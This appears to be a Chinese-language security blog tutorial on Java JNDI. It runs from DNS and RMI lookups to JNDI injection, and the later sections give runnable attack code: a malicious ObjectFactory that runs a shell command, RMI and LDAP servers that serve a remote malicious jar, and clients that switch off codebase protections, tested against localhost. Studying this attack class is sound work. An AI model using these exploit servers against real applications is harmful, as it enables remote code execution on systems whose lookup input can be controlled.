keac's Bolg.

Java JNDI

字数统计: 2.5k阅读时长: 11 min
2022/05/29 Share

JNDI 是Java提供的Java命令和目录接口,通过调用JNDI的接口可以快速,定位资源或者其他程序。可访问的服务和数据源有:JDBCLDAP,RMI,DNS,NIS,CORBA

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

JNDI 目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

1
2
3
4
5
6
7
8
9
10
11
// 创建环境变量对象
Hashtable<String, String> env = new Hashtable<String, String>();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");

// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

1
2
3
4
5
6
7
package javax.naming.spi;

public interface InitialContextFactory {

public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;

}

JNDI-DNS解析

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package jndi;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

public class DNSContextFactoryTest {
public static void main(String[] args) throws NamingException {
// 创建一个Hashtable,用于存放环境信息
Hashtable<String, String> env = new Hashtable<String, String>();
// 下面两行是必须的
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns:///");
// 创建一个InitialDirContext
DirContext ctx = new InitialDirContext(env);
// 查询域名
Attributes attrs = ctx.getAttributes("www.baidu.com", new String[] { "A" });
// 获取域名对应的IP地址
String ip = (String) attrs.get("A").get();
System.out.println(ip);
}
}

运行结果

1
180.101.49.12

JNDI-RMI远程方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package jndi;

import rmi.RMITestInterface;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

import static rmi.RmiServiceTest.*;

public class RMIRegistryContextFactoryTest {
public static void main(String[] args) throws Exception {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
Hashtable<String, String> env = new Hashtable<>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
try{
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
String result = testInterface.test();
System.out.println(result);
}catch (Exception e){
e.printStackTrace();
}
}
}

JNDI-协议转换

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI默认支持自动转换的协议有:

协议名称 协议URL Context类
DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

JNDI-Reference

JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引用安全限制

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

1
2
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

LDAPJDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

高版本JDK可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

使用创建恶意的ObjectFactory对象

JNDI 允许通过对象工厂(javax.naming.spi.ObjectFactory)动态加载对象实现

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ReferenceObjectFactory implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("curl localhost:9000");
}
}

创建恶意的RMI对象

再RMI服务端绑定一个恶意的引用对象的时候,RMI客户端在获取服务端绑定的对象的时候,发现是一个Reference对象后检查,当前JVM是否允许远程加载引用对象。如果允许加载,并且本地不存在这个对象工厂类,会使用URLClassLoader加载远程的jar,并加载我们构建好的一个恶意工程类,然后调用其中的getObjectInstance方法从而触发方法中的恶意RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.vul.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

import static com.vul.rmi.RmiServiceTest.RMI_NAME;
import static com.vul.rmi.RmiServiceTest.RMI_PORT;

public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
//定义一个远程的jar,其中包含一个恶意对象工厂类
String url = "http://127.0.0.1/java/test.jar";
//对象工厂类的ClassName
String className = "com.vul.jndi.ReferenceObjectFactory";
//监听RMI的服务端口
LocateRegistry.createRegistry(RMI_PORT);
//创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
//转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);
System.out.println("RMI Reference Server is running..." + RMI_NAME);

} catch (Exception e) {
e.printStackTrace();
}
}
}

RMI 客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.vul.jndi;

import javax.naming.InitialContext;

import static com.vul.rmi.RmiServiceTest.RMI_NAME;

public class RMIReferenceClientTest {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
Object obj = context.lookup(RMI_NAME);
System.out.println(obj);
} catch (Exception e) {
e.printStackTrace();
}
}
}

测试结果

1
2
3
4
5
6
7
C:\Users\keac>nc -lvnp 6666
listening on [any] 6666 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59890
GET / HTTP/1.1
Host: localhost:6666
User-Agent: curl/7.79.1
Accept: */*

但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。

LDAP 恶意服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.vul.jndi;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPReferenceServerTest {
// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;
// 设置LDAP绑定的服务地址
public static final String BIND_HOST = "127.0.0.1";

// 设置一个实体名称
public static final String LDAP_ENTRY_NAME = "test";

// 获取LDAP服务地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;

// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
public static final String REMOTE_REFERENCE_JAR = "http://127.0.0.1/java/test.jar";

// 设置LDAP基底DN
private static final String LDAP_BASE = "dc=test,dc=org";

public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);
// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());
// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
// 启动服务
ds.startListening();
System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);

} catch (Exception e) {
e.printStackTrace();
}

}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 设置对象的工厂类名
String className = "com.vul.jndi.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);

// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);

// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");

result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.vul.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

import static com.vul.jndi.LDAPReferenceServerTest.LDAP_URL;

public class LDAPReferenceClientTest {
public static void main(String[] args) {
try{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup(LDAP_URL);
System.out.println(obj);


}catch (Exception e) {
e.printStackTrace();
}
}
}

JNDI 注入漏洞利用

触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。

1
2
3
4
Context ctx = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup("注入JNDI服务URL");

我们只需间接的找到调用了JNDIlookup方法的类且lookupURL可被我们恶意控制的后端接口或者服务即可利用。

CATALOG
  1. 1. JNDI 目录服务
  2. 2. JNDI-DNS解析
  3. 3. JNDI-RMI远程方法调用
  4. 4. JNDI-协议转换
  5. 5. JNDI-Reference
    1. 5.1. RMI/LDAP远程对象引用安全限制
    2. 5.2. 使用创建恶意的ObjectFactory对象
    3. 5.3. 创建恶意的RMI对象
    4. 5.4. LDAP 恶意服务
  6. 6. JNDI 注入漏洞利用